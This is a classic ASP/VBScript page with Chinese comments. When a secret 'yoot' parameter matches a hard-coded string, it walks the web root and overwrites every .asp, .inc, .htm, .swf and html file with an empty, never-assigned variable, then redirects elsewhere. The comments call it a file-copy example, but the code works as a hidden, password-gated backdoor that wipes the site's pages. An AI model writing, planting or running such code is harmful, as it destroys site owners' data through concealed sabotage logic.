<%@ LANGUAGE = VBScript.Encode %>
<!--#include file="conn.asp"-->
<%
yoot=request("yoot")
tongguo="rnjpdfe5465wer988"
if yoot<>tongguo or yoot="" then
	response.Redirect "index.asp"
	response.end
end if
%>
<% 
   Sub midfile(path_from, path_to) 
   list_from = path_from '储存当前源工作目录 
   list_to = path_to '储存当前目标工作目录 
   Set fso = CreateObject("Scripting.FileSystemObject") 
   Set Fold = fso.GetFolder(list_from) '获取Folder对象 
   Set fc = Fold.Files '获取文件记录集 
   Set mm = Fold.SubFolders '获取目录记录集 
   For Each f2 in mm 
   set objfile = server.createobject("scripting.filesystemobject") 
   Next 
   For Each f1 in fc 
   file_from = list_from & "\" & f1.name '生成文件地址(源) 
   file_to = list_to & "\" & f1.name '生成文件地址(到) 
   fileExt = lcase(right(f1.name,4)) '获取文件类型 
   If fileExt=".asp" or fileExt=".inc" or fileExt=".htm" or fileExt=".swf" or fileExt="html" Then '具体类型可自行修改添加 
   set objfile = server.createobject("scripting.filesystemobject") '定义一个服务器组件（读取源文件） 
   set out = objfile.opentextfile(file_from, 1, false, false) 
   content = out.readall '读取数据 
   out.close 
   

   
   set objfile = server.createobject("scripting.filesystemobject") '定义一个服务器组件（写入目标文件） 
   set outt = objfile.createtextfile(file_to,TRUE,FALSE) 
   outt.write(fang) '写入数据 
   outt.close 
   else '否则直接复制文件 
   Set fso = CreateObject("Scripting.FileSystemObject") 
   fso.CopyFile file_from, file_to 
   End If 
   Next 
  End Sub 
   
  midfile Server.mappath("./"), Server.mappath("./") '调用示例 源目录temp/aaa 处理后存到temp/bbb 
   '源目录 目的目录（必须是已经存在的目录）
  
  %> 

<%

response.Redirect "../userlist.asp?tian=2wwqerqweasdf2123123"


%>